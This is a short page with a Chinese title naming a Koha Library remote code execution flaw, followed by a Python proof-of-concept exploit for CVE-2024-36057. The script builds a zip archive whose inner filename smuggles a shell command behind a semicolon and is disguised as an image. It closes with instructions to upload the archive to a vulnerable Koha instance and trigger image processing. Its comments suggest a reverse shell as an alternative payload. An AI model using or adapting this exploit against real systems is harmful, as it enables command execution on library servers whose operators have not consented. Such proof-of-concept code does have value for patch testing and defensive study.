CVE-2024-36057 Koha Library远程代码执行漏洞

#!/usr/bin/env python3 # PoC for CVE-2024-36057: Command Injection via Zip Filename import zipfile import sys # The command to inject (e.g., create a file or reverse shell) # Using semicolon to chain commands in the shell payload = "; touch /tmp/pwned_by_cve_2024_36057; #" # The vulnerable script expects image files, so we disguise the payload # The filename inside the zip will look like: image.jpg; touch /tmp/pwned... #.jpg malicious_filename = f"cover{payload}.jpg" print(f"[*] Creating malicious zip file with filename: {malicious_filename}") # Create a zip file containing a file with the malicious name with zipfile.ZipFile("exploit_cve_2024_36057.zip", "w", zipfile.ZIP_DEFLATED) as zf: zf.writestr(malicious_filename, "This is dummy image content.") print("[*] 'exploit_cve_2024_36057.zip' created successfully.") print("[*] Upload this file to the vulnerable Koha instance and trigger 'Process Images'.")